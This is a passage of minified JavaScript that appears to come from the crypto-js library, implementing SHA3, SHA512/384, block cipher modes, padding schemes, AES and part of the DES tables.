5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 